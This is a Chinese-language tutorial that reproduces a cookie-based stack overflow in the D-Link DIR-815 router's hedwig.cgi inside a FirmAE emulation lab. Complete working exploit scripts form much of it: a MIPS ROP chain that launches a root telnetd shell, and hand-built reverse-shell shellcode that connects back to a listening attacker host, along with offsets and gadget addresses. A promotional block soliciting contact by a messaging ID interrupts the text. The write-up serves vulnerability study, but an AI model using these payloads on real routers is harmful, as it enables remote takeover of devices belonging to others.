前言
在進行IOT安全領域的學習和實踐中,經典漏洞的復現是必不可少的一環。本文將介紹一個經典漏洞,涉及到Binwalk、firmware-mod-kit、FirmAE等工具的使用,以及對DIR-815路由器中多次溢出漏洞的復現過程。
固件下載地址:https://legacyfiles.us.dlink.com/DIR-815/REVA/FIRMWARE/
這個漏洞屬於經典範疇,很多人選擇通過此漏洞進行IOT安全入門的學習與實踐。我們將一起回顧這個經典漏洞,踏入IOT安全的世界,並對DIR-815路由器中的多次溢出漏洞進行復現。
根據報告顯示,此漏洞主要源於COOKIE長度未被限制,導致COOKIE長度過長時引發棧溢出問題。在本文中,我們將提供exp和poc,需要注意的是,在我的本地環境中,如果使用973作爲偏移量,則調試無法成功連接,但不進行調試則可以成功連接。然而,如果使用1007作爲偏移量,則調試可以成功連接,但不進行調試則無法成功連接。這種情況可能與仿真環境相關,歡迎大家積極嘗試並探索。
工具安裝
我的環境是
Ubuntu 22.04.4 LTS x86_64
Binwalk
我們要安裝這個工具用來給FirmAE調用:
git clone https://github.com/ReFirmLabs/binwalk.git cd binwalk sudo python setup.py install
firmware-mod-kit
首先安裝依賴:
sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic
然後進行安裝:
git clone https://github.com/mirror/firmware-mod-kit.git cd firmware-mod-kit/src ./configure && make
可以進入https://github.com/mirror/firmware-mod-kit查看詳細使用方法,本文不贅述。
FirmAE
我們需要安裝FirmAE,和相關依賴進行固件仿真:
git clone --recursive https://github.com/pr0v3rbs/FirmAE sudo pip3 install selenium
接着進入FirmAE
目錄運行:
./download.sh ./install.sh ./init.sh
隨後,使用如下命令嘗試是否能夠仿真:
sudo ./run.sh -c <brand> <firmware>
我們這篇文章的brand
是d-link
。如果成功仿真,使用如下命令進入仿真調試模式:
sudo ./run.sh -d <brand> <firmware>
注意,仿真之後要輸入2,進入shell之後運行如下命令關閉隨機化,因爲真機也是不開啓的:
echo "0" >> /proc/sys/kernel/randomize_va_space
基礎知識
溢出漏洞
溢出漏洞是指由於緩衝區溢出等原因導致的內存溢出問題。這些漏洞可以讓攻擊者執行惡意代碼,進而對路由器進行攻擊和控制。
它可以使得黑客控制程序執行的pc
,從而達到控制程序流的目的。要知道,pc
可是指示程序下一條指令的地方!一旦攻擊者成功控制了它,就能爲所欲爲了。
那麼,如何利用棧溢出漏洞來控制程序執行呢?有兩個常見的方法:shellcode和ROPchain。
首先,我們來說說shellcode。Shellcode是一段精心編寫的機器碼,通常用於執行特定的操作,比如獲取系統特權或者執行其他惡意行爲。攻擊者可以通過溢出漏洞將shellcode注入到受影響的程序中,並控制程序執行,從而執行這段惡意代碼。
另一種方法是使用ROPchain(Return-Oriented Programming)。ROPchain是一種利用已存在的代碼片段(稱爲gadgets)來構建攻擊代碼的技術。攻擊者可以通過溢出漏洞,將棧上的返回地址(Return Address)改寫爲指向這些gadgets的地址,然後利用這些gadgets的序列來實現特定的功能,比如執行系統調用或者跳轉到其他函數。
所以,棧溢出漏洞非常危險,給了攻擊者很大的控制力!要特別注意程序中的邊界檢查和緩衝區大小的限制,以避免這類漏洞的發生。在編程過程中,要時刻確保輸入數據不會超出預期的範圍,這樣就能有效地防止棧溢出漏洞的利用。
HTTP協議
HTTP協議是一種用於傳輸超文本的協議,它由請求和響應組成。讓我們來看一下HTTP請求的各個部分,分別是請求行、消息報頭、請求正文。IoT安全當中傳輸信息,大多數需要HTTP協議來進行。
【---- 幫助網安學習,以下所有學習資料免費領!領取資料加 we~@x:dctintin,備註 “開源中國” 獲取!】
① 網安學習成長路徑思維導圖
② 60 + 網安經典常用工具包
③ 100+SRC 漏洞分析報告
④ 150 + 網安攻防實戰技術電子書
⑤ 最權威 CISSP 認證考試指南 + 題庫
⑥ 超 1800 頁 CTF 實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP 客戶端安全檢測指南(安卓 + IOS)
請求行
HTTP請求的第一行是請求行,它由三部分組成:請求方法、請求的資源路徑(Request-URI)和HTTP協議的版本。格式如下:
Method Request-URI HTTP-Version CRLF
例如:
POST /registez.aspx HTTP/1.1 (CRLE)
消息報頭
請求的消息報頭包含了一系列的鍵值對,每個鍵值對由名字、冒號、空格和值組成。它們用於傳遞關於請求的額外信息。例如:
Accept:image/gif
表示請求GIF圖像格式的資源。
一個完整的請求消息報頭可能包含多個鍵值對,像這樣:
GET /index.html HTTP/1.1 (CRLF) Accept:image/gif, image/x-xbitmap,*/* (CRLF) Accept-Language:zh-cn (CRLF) Accept-Encoding:gzip, deflate (CRLF) User-Rgent:Mozilla/4.0(compatible;MSIE6.0;Windows NT 5.0) (CRLF) Host:www.baidu.com (CRLF) Connection:Keep-Alive (CRLF) (CRLF)
請求正文
請求正文是可選的,它包含了請求的主體內容。它位於消息報頭和消息主體之間的一個空行。請求正文可以包含各種數據,例如表單數據、JSON、XML等等。例如:
Usernarme=admin&password=admin
實際上,請求正文可以包含更多內容,具體取決於請求的目的和需要。
我們在具體使用的時候,會使用python的相關庫request
或者http.client
進行編程。
成因分析
-
Cookie來自
char *getenv("HTTP_COOKIE")
。 -
cgibin鏈接到其他的cgi的時候,此時cgibin裏除了main,還會有別的cgi文件的main。
如本固件的hedwigcgi_main。
根據漏洞報告,搜索了HTTP_COOKIE
字符串,找到相關函數sess_get_uid
及其引用,這個函數有對uid
的比較,分析得出COOKIE的數據組織形式是uid=payload
。
int __fastcall sess_get_uid(int a1) { int v2; // $s2 char *v3; // $v0 int v4; // $s3 char *v5; // $s4 int v6; // $s1 int v7; // $s0 char *string; // $v0 int result; // $v0 v2 = sobj_new(); v4 = sobj_new(); v3 = getenv("HTTP_COOKIE"); if ( !v2 ) goto LABEL_27; if ( !v4 ) goto LABEL_27; v5 = v3; if ( !v3 ) goto LABEL_27; v6 = 0; while ( 1 ) { v7 = *v5; if ( !*v5 ) break; if ( v6 == 1 ) goto LABEL_11; if ( v6 < 2 ) { if ( v7 == ' ' ) goto LABEL_18; sobj_free(v2); sobj_free(v4); LABEL_11: if ( v7 == 59 ) { v6 = 0; } else { v6 = 2; if ( v7 != 61 ) { sobj_add_char(v2, v7); v6 = 1; } } goto LABEL_18; } if ( v6 == 2 ) { if ( v7 == 59 ) { v6 = 3; goto LABEL_18; } sobj_add_char(v4, *v5++); } else { v6 = 0; if ( !sobj_strcmp(v2, "uid") ) goto LABEL_21; LABEL_18: ++v5; } } if ( !sobj_strcmp(v2, "uid") ) { LABEL_21: string = sobj_get_string(v4); goto LABEL_22; } LABEL_27: string = getenv("REMOTE_ADDR"); LABEL_22: result = sobj_add_string(a1, string); if ( v2 ) result = sobj_del(v2); if ( v4 ) return sobj_del(v4); return result; }
-
如果FirmAE無法直接解壓固件,可以用fmk解壓以後再壓縮爲tar.gz交給FirmAE。
-
FirmAE如果出現文件依然存在的情況,使用如下方案:
sudo ip link set ${TAPDEV_0} sudo tunctl -d ${TAPDEV_0}
將其停止,可以重新啓動仿真。
調試方法
仿真成功後,進入FirmAE進行如下輸入——進入shell,查詢http服務的進程號:
------------------------------ | FirmAE Debugger | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit > 2 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. / # ps | grep "httpd" 2387 root 1564 S httpd -f /var/run/httpd.conf 8421 root 656 S grep httpd / # Connection closed by foreign host.
隨後輸入進程號(此處是2387)啓用gdb-server:
------------------------------ | FirmAE Debugger | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit > 4 641 root 1684 S /firmadyne/sh /firmadyne/network.sh 643 root 1676 S /firmadyne/sh /firmadyne/debug.sh 647 root 1680 S /firmadyne/busybox telnetd -p 31338 -l /firmadyne/sh 648 root 1668 S /firmadyne/busybox sleep 36000 649 root 1676 S /firmadyne/sh 779 root 892 S portt -c DNAT.PORTT 1300 root 1044 S udhcpc -i eth3 -H dlinkrouter -p /var/servd/WAN-1-udh 1663 root 904 S updatewifistats -i rai0 -x /phyinf:3 -r /runtime/phyi 1737 root 904 S updatewifistats -i ra0 -x /phyinf:4 -r /runtime/phyin 2096 root 908 S neaps -i br0 -c /var/run/neaps.conf 2108 root 884 S netbios -i br0 -r dlinkrouter 2109 root 900 S llmnresp -i br0 -r dlinkrouter 2156 root 1068 S udhcpd /var/servd/LAN-1-udhcpd.conf 2351 root 1040 S dnsmasq -C /var/servd/DNS.conf 2387 root 1568 S httpd -f /var/run/httpd.conf 11504 root 1668 S /firmadyne/busybox sleep 5 11553 root 660 R ps PID USER VSZ STAT COMMAND 1 root 656 S init 2 root 0 SW [kthreadd] 3 root 0 SW [ksoftirqd/0] 4 root 0 SW [kworker/0:0] 5 root 0 SW< [kworker/0:0H] 6 root 0 SW [kworker/u2:0] 7 root 0 SW< [khelper] 8 root 0 SW [khungtaskd] 9 root 0 SW< [writeback] 10 root 0 SWN [ksmd] 11 root 0 SW< [crypto] 12 root 0 SW< [bioset] 13 root 0 SW< [kblockd] 14 root 0 SW< [ata_sff] 15 root 0 SW< [cfg80211] 16 root 0 SW [kworker/0:1] 17 root 0 SW [kswapd0] 18 root 0 SW [fsnotify_mark] 35 root 0 SW [scsi_eh_0] 36 root 0 SW< [scsi_tmf_0] 37 root 0 SW [scsi_eh_1] 38 root 0 SW< [scsi_tmf_1] 41 root 0 SW [kworker/u2:3] 44 root 0 SW< [kpsmoused] 45 root 0 SW< [ipv6_addrconf] 46 root 0 SW< [defe [+] target pid : 2387 [+] gdbserver at 192.168.0.1:1337 attach on 2387 [+] run "target remote 192.168.0.1:1337" in host gdb-multiarch
宿主機保存如下腳本準備使用:
set architecture mips set follow-fork-mode child set detach-on-fork off b _start #catch exec #這裏去掉註釋,就能夠在對應的cgi文件停下 target remote 192.168.0.1:1337
假如保存爲了gdb_script,那麼在開啓gdb-server以後使用如下命令進入調試:
gdb-multiarch -x gdb_script
POC編寫
定位到漏洞點應該在下面的sprintf
處,由char v27[1024]
可以知道,溢出至少要1024的數據。源碼如下。
int hedwigcgi_main() { char *v0; // $v0 const char *v1; // $a1 FILE *v2; // $s0 int v3; // $fp int v4; // $s5 int v5; // $v0 char *string; // $v0 FILE *v7; // $s2 int v8; // $v0 int v9; // $s7 int v10; // $v0 int *v11; // $s1 int i; // $s3 char *v13; // $v0 const char **v14; // $s1 int v15; // $s0 char *v16; // $v0 const char **v17; // $s1 int v18; // $s0 int v19; // $v0 char *v20; // $v0 char v22[20]; // [sp+18h] [-4A8h] BYREF char *v23; // [sp+2Ch] [-494h] BYREF char *v24; // [sp+30h] [-490h] int v25[3]; // [sp+34h] [-48Ch] BYREF char v26[128]; // [sp+40h] [-480h] BYREF char v27[1024]; // [sp+C0h] [-400h] BYREF memset(v27, 0, sizeof(v27)); memset(v26, 0, sizeof(v26)); strcpy(v22, "/runtime/session"); v0 = getenv("REQUEST_METHOD"); if ( !v0 ) { v1 = "no REQUEST"; LABEL_7: v3 = 0; v4 = 0; LABEL_34: v9 = -1; goto LABEL_25; } if ( strcasecmp(v0, "POST") ) { v1 = "unsupported HTTP request"; goto LABEL_7; } cgibin_parse_request(sub_409A6C, 0, 0x20000); v2 = fopen("/etc/config/image_sign", "r"); if ( !fgets(v26, 128, v2) ) { v1 = "unable to read signature!"; goto LABEL_7; } fclose(v2); cgibin_reatwhite(v26); v4 = sobj_new(); v5 = sobj_new(); v3 = v5; if ( !v4 || !v5 ) { v1 = "unable to allocate string object"; goto LABEL_34; } sess_get_uid(v4); string = sobj_get_string(v4); sprintf(v27, "%s/%s/postxml", "/runtime/session", string); xmldbc_del(0, 0, v27); v7 = fopen("/var/tmp/temp.xml", "w"); if ( !v7 ) { v1 = "unable to open temp file."; goto LABEL_34; } if ( !haystack ) { v1 = "no xml data."; goto LABEL_34; } v8 = fileno(v7); v9 = lockf(v8, 3, 0); if ( v9 < 0 ) { printf( "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>", 0); v9 = 0; goto LABEL_26; } v10 = fileno(v7); lockf(v10, 1, 0); v23 = v26; v24 = 0; memset(v25, 0, sizeof(v25)); v24 = strtok(v22, "/"); v11 = v25; for ( i = 2; ; ++i ) { v13 = strtok(0, "/"); *v11++ = (int)v13; if ( !v13 ) break; } (&v23)[i] = sobj_get_string(v4); fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n", v7); v14 = (const char **)&v23; v15 = 0; do { ++v15; fprintf(v7, "<%s>\n", *v14++); } while ( v15 < i + 1 ); v16 = strstr(haystack, "<postxml>"); fprintf(v7, "%s\n", v16); v17 = (const char **)&(&v23)[i]; v18 = i + 1; do { --v18; fprintf(v7, "</%s>\n", *v17--); } while ( v18 > 0 ); fflush(v7); xmldbc_read(0, 2, "/var/tmp/temp.xml"); v19 = fileno(v7); lockf(v19, 0, 0); fclose(v7); remove("/var/tmp/temp.xml"); v20 = sobj_get_string(v4); sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20); xmldbc_ephp(0, 0, v27, stdout); if ( v9 ) { v1 = 0; LABEL_25: printf( "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>", v1); } LABEL_26: if ( haystack ) free(haystack); if ( v3 ) sobj_del(v3); if ( v4 ) sobj_del(v4); return v9; }
構造poc如下:
import http.client # 創建HTTP連接 conn = http.client.HTTPConnection("192.168.0.1") # 設置請求頭 headers = { 'Content-Length': '21', 'accept-Encoding': 'deflate', 'Connection': 'close', 'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)', 'Host': '192.168.0.1', 'Cookie': 'uid='+'a'*0x500, 'Content-Type': 'application/x-www-form-urlencoded' } # 發送POST請求 conn.request("POST", "/hedwig.cgi", body="password=123&bid=3Rd4", headers=headers) # 獲取響應 response = conn.getresponse() # 打印響應狀態碼和響應內容 print(response.status, response.read().decode()) # 關閉連接 conn.close()
成功覆蓋pc
如下。
EXP編寫
ROPchain_system(cmd)
接下來編寫exp。
cyclic可以這麼使用:
>>> cyclic(0x100) b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac' >>> cyclic_find("cjaa") 235 >>>
從而輕鬆找到偏移。
我們修改一下poc如下,設置了payload,用如上方法找到偏移:
import http.client from evilblade import * # 創建HTTP連接 conn = http.client.HTTPConnection("192.168.0.1") payload = cyclic(0x500).decode() # 設置請求頭 headers = { 'Content-Length': '21', 'accept-Encoding': 'deflate', 'Connection': 'close', 'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)', 'Host': '192.168.0.1', 'Cookie': 'uid='+payload, 'Content-Type': 'application/x-www-form-urlencoded' } # 發送POST請求 conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers) # 獲取響應 response = conn.getresponse() # 打印響應狀態碼和響應內容 print(response.status, response.read().decode()) # 關閉連接 conn.close()
得到段錯誤如下。
找偏移:(注意,此處導入pwntools也是一樣的,這只是我自己寫的封裝庫)
>>> from evilblade import * >>> cyclic_find("klaa") 1043 >>>
再次修改poc確認偏移,成功控制返回地址。修改如下:
import http.client from evilblade import * # 創建HTTP連接 conn = http.client.HTTPConnection("192.168.0.1") payload = b'a'*1043+b"rlok" #前面1043個偏移,後面是rlok作爲返回地址 payload = payload.decode() # 設置請求頭 headers = { 'Content-Length': '21', 'accept-Encoding': 'deflate', 'Connection': 'close', 'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)', 'Host': '192.168.0.1', 'Cookie': 'uid='+payload, 'Content-Type': 'application/x-www-form-urlencoded' } # 發送POST請求 conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers) # 獲取響應 response = conn.getresponse() # 打印響應狀態碼和響應內容 print(response.status, response.read().decode()) # 關閉連接 conn.close()
結果如下,成功控制pc
。
我們發現路由器裏有telnetd
服務,這樣只要執行system("telnetd")
,就可以在宿主機運行telnet 192.168.0.1
getshell了。其中a0就是第一個參數。
我們看看MIPS的寄存器作用:
ROPgadget --binary libuClibc-0.9.30.1.so | grep --color=auto "addiu \$s5, \$sp,"
用上述命令,找到下面的gadget:
0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5
這樣的情況,我們只要控制$sp + 0x10的位置是命令,並且s0是返回地址即可。
我們再次使用cyclic確定偏移,得到:
*S0 0x6161636b ('kcaa')
也就是
>>> cyclic_find("kcaa") 1007
s0往後就是s1,s2以此類推。
不過我們遇到了一個新的問題,那就是system的地址偏移是0x53200,是以00爲結尾的,我們需要繞過。我嘗試過用0x531fc,這裏是nop,但是由於$t9的值不正確,所以後面的變量會錯誤,導致程序無法正常運行,那麼我們只能另尋出路。
這裏我們要用到一個技巧:
由於現代處理器採用流水線執行指令的方式,在執行jalr指令時,下一條指令可能已經被預取和解碼,並開始執行。因此,即使jalr指令改變了程序計數器的值,下一條指令也可能在當前指令被執行的同時開始執行。
也就是說,執行jalr的同時,下一個指令也會執行。
我們用這個指令:
ROPgadget --binary libuClibc-0.9.30.1.so | grep --color=auto "move \$t9, \$s5 ; jalr \$t9 ; addiu \$s0"
找到gadget:
0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1
他會在跳轉到$s5的同時,將s0+1,也就是說我們傳入偏移爲0x531ff即可,且$$t9不會受到任何影響!
於是我們構造瞭如下的情況:
首先在s0傳入system-1的地址,s5傳入了0x000159cc的gadget。溢出之後,首先返回到s5的地址,同時,s0++,變爲system的地址。此時執行第二個gadget,將"telnetd"傳入s5,並且跳轉到$s0也就是system,同時s5被賦值到a0也就是第一個參數,成功執行system("telnetd -l /bin/sh -p 55557")。
設置端口是擔心原本的被佔用了。
如圖,成功。
附exp:
import http.client from evilblade import * set("./cgibin") # 創建HTTP連接 conn = http.client.HTTPConnection("192.168.0.1") ## XOR $t0, $t0, $t0,相當於 nop,因爲nop是\x00不能發送,會被sprintf截斷 nop = "\x26\x40\x08\x01" #libc基地址 libc = 0x77f34000 #gadget gadget = 0x159cc+libc gadget2 = libc+0x158c8 print(p32(gadget)) print(p32(gadget2)) sys = libc + 0x531ff print(p32(sys)) dx(sys) sys_ = '\xffq\xf8w' gad_sp = "\xcc\x99\xf4w" gad_to_s5 = "\xc8\x98\xf4w" payload = cyclic(973).decode() + sys_ + "cccc" + gad_sp*7 + gad_to_s5 + "dddd"*4 + "telnetd -l /bin/sh -p 55557 & ls & " # 設置請求頭 headers = { 'Content-Length': '21', 'accept-Encoding': 'deflate', 'Connection': 'close', 'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)', 'Host': '192.168.0.1', 'Cookie': 'uid='+payload, 'Content-Type': 'application/x-www-form-urlencoded' } # 發送POST請求 conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers) # 獲取響應 response = conn.getresponse() # 打印響應狀態碼和響應內容 print(response.status, response.read().decode()) # 關閉連接 conn.close()
shellcode
使用網站進行彙編轉字節碼:https://shell-storm.org/online/Online-Assembler-and-Disassembler/
第一步:socket(2,1,0)
在socket()
系統調用中,參數的含義如下:
-
第一個參數:套接字的域(domain)。對於IPv4網絡套接字,通常使用AF_INET或者PF_INET,其值爲2。
-
第二個參數:套接字的類型(type)。常見的套接字類型包括SOCK_STREAM(流套接字,用於TCP)和SOCK_DGRAM(數據報套接字,用於UDP)。
-
第三個參數:協議(protocol)。通常情況下,如果域和類型已經指定了,協議參數可以設爲0,讓操作系統自動選擇合適的協議。在這裏,值爲0。
socket(2,2,0)
的意思是創建一個IPv4的UDP套接字。
如下:
addiu a0, zero, 2 addiu a1, zero, 2 addiu a3, zero, 0 addiu v0, zero, 0x1057 syscall 0x40404
爲了繞過\x00
限制改爲:
li $a0, 0x222 addi $a0,-0x220 li $a1, 0x222 addi $a1,-0x220 li $a2, 0x222 addi $a2,-0x222 li $v0, 0x1057 syscall 0x40404
得到:
"\x22\x02\x04\x24\xe0\xfd\x84\x20\x22\x02\x05\x24\xe0\xfd\xa5\x20\x22\x02\x06\x24\xde\xfd\xc6\x20\x57\x10\x02\x24\x0c\x01\x01\x01"
存入棧:
sw $v0,480($sp)
得到:
"\xe0\x01\xa2\xaf"
第二步:
dup2(socket_obj,0) dup2(socket_obj,1) dup2(socket_obj,2)
將標準輸入輸出錯誤流重定向到sock對象。
如下:
lw $a0,480($sp); li $a1, 0x222 addi $a1,-0x222 li $v0,4063 syscall 0x40404 li $a1, 0x222 addi $a1,-0x221 li $v0,4063 syscall 0x40404 li $a1, 0x223 addi $a1,-0x221 li $v0,4063 syscall 0x40404
得到:
"\xe0\x01\xa4\x8f\x22\x02\x05\x24\xde\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x22\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01"
第三步,執行int connect(int sockfd, const **struct** sockaddr *addr,socklen_t addrlen);
lw $a0,480($sp) addiu $a2,$zero,0x111 addi $a2,-0x101 lui $t6,0xbe15 ori $t6,$t6,0x0203 addi $t6, -0x0201 sw $t6,468($sp) //這裏是端口,可以自己更改 lui $t7,0x0302 ori $t7, $t7, 0xa9c1 addi $t7, $t7, -0x01020101 //這裏是ip地址,可以自己更改 sw $t7,472($sp) la $a1,468($sp) addiu $v0,$zero,4170 syscall 0x40404
此時是綁定在了192.168.0.2 5566
,也就是攻擊機器的地址。ip和端口涉及大端小端的問題,參考文章的時候是大端,我說怎麼調了這麼久都不對……
要構造爲(這是192.168.0.2 5566)
0xbe150002 0x0200a8c0
得到:
"\xe0\x01\xa4\x8f\x11\x01\x06\x24\xff\xfe\xc6\x20\x15\xbe\x0e\x3c\x03\x02\xce\x35\xff\xfd\xce\x21\xd4\x01\xae\xaf\x02\x03\x0f\x3c\xc1\xa9\xef\x35\xfd\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\xd8\x01\xaf\xaf\xd4\x01\xa5\x27\x4a\x10\x02\x24\x0c\x01\x01\x01"
最後一步,執行execve("/bin/sh",["/bin/sh","-i"],0)
,注意,此處的第二個參數是個數組,讓其能夠交互:
lui $t1, 0x6e69 ori $t1, $t1, 0x622f sw $t1, -8($sp) lui $t9, 0xff97 ori $t9, $t9, 0x8cd0 not $t1, $t9 sw $t1, -4($sp) addiu $sp, $sp, -8 add $a0, $sp, $zero lui $t1, 0x6e69 ori $t1, $t1, 0x622f sw $t1, -0xc($sp) lui $t9, 0xff97 ori $t9, $t9, 0x8cd0 not $t1, $t9 sw $t1, -8($sp) sw $zero, -4($sp) addiu $sp, $sp, -0xc slti $a1, $zero, -1 sw $a1, -4($sp) addi $sp, $sp, -4 addiu $t9, $zero, -5 not $a1, $t9 add $a1, $sp, $a1 sw $a1, -4($sp) addi $sp, $sp, -4 add $a1, $sp, $zero slti $a2, $zero, -1 ori $v0, $zero, 0xfab syscall
得到:
"\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf8\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xfc\xff\xa9\xaf\xf8\xff\xbd\x27\x20\x20\xa0\x03\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf4\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\xf4\xff\xbd\x27\xff\xff\x05\x28\xfc\xff\xa5\xaf\xfc\xff\xbd\x23\xfb\xff\x19\x24\x27\x28\x20\x03\x20\x28\xa5\x03\xfc\xff\xa5\xaf\xfc\xff\xbd\x23\x20\x28\xa0\x03\xff\xff\x06\x28\xab\x0f\x02\x34\x0c\x01\x01\x01"
監聽:
nc -lvp 5566
發現一個好工具:https://bbs.kanxue.com/thread-275619-1.htm
利用以上shellcode,成功反彈shell:
完整exp如下:
import http.client from evilblade import * set("./cgibin") # 創建HTTP連接 conn = http.client.HTTPConnection("192.168.0.1") ## XOR $t0, $t0, $t0,相當於 nop,因爲nop是\x00不能發送,會被sprintf截斷 nop = "\x26\x40\x08\x01" #libc基地址 libc = 0x77f34000 #gadget gadget = 0x159cc+libc gadget2 = libc+0x158c8 print(p32(gadget)) print(p32(gadget2)) sys = libc + 0x531ff print(p32(sys)) dx(sys) sys_ = '\xffq\xf8w' gad_sp = "\xcc\x99\xf4w" gad_to_s5 = "\xc8\x98\xf4w" stg3_SC ="\x22\x02\x04\x24\xe0\xfd\x84\x20\x22\x02\x05\x24\xe0\xfd\xa5\x20\x22\x02\x06\x24\xde\xfd\xc6\x20\x57\x10\x02\x24\x0c\x01\x01\x01" #socket(2,1,0) stg3_SC += "\xe0\x01\xa2\xaf" #sw $v0,260($sp) stg3_SC += "\xe0\x01\xa4\x8f\x22\x02\x05\x24\xde\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x22\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01" #dup2 stg3_SC += "\xe0\x01\xa4\x8f\x11\x01\x06\x24\xff\xfe\xc6\x20\x15\xbe\x0e\x3c\x03\x02\xce\x35\xff\xfd\xce\x21\xd4\x01\xae\xaf\x02\x03\x0f\x3c\xc1\xa9\xef\x35\xfd\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\xd8\x01\xaf\xaf\xd4\x01\xa5\x27\x4a\x10\x02\x24\x0c\x01\x01\x01" #connect stg3_SC += "\x69\x6e\x0e\x3c\x2f\x62\xce\x35\x69\x01\x0f\x3c\x30\x74\xef\x35\xfe\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\x2c\x01\xae\xaf\x30\x01\xaf\xaf\x34\x01\xa0\xaf\x2c\x01\xa4\x27\x2d\x69\x0f\x24\x38\x01\xaf\xaf\x40\x01\xa4\xaf\x44\x01\xa0\xaf\x02\x01\x06\x24\xfe\xfe\xc6\x20\x40\x01\xa5\x27\xab\x0f\x02\x24\x0c\x01\x01\x01" #execve # stg3_SC += "\x24\x02\x02\x9a\x24\x04\x02\x9a\x20\x42\xfd\x76\x20\x84\xfd\x66\x01\x01\x01\x0c" #exit print(stg3_SC.encode(),len(stg3_SC)) payload = cyclic(973).decode() + gad_to_s5 + "cccc" + gad_sp*8 + "dddd"*4 + stg3_SC # 設置請求頭 headers = { 'Content-Length': '21', 'accept-Encoding': 'deflate', 'Connection': 'close', 'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)', 'Host': '192.168.0.1', 'Cookie': 'uid='+payload, 'Content-Type': 'application/x-www-form-urlencoded' } # 發送POST請求 conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers) # 獲取響應 pause() response = conn.getresponse() # 打印響應狀態碼和響應內容 print(response.status, response.read().decode()) # 關閉連接 conn.close()
至此完成復現。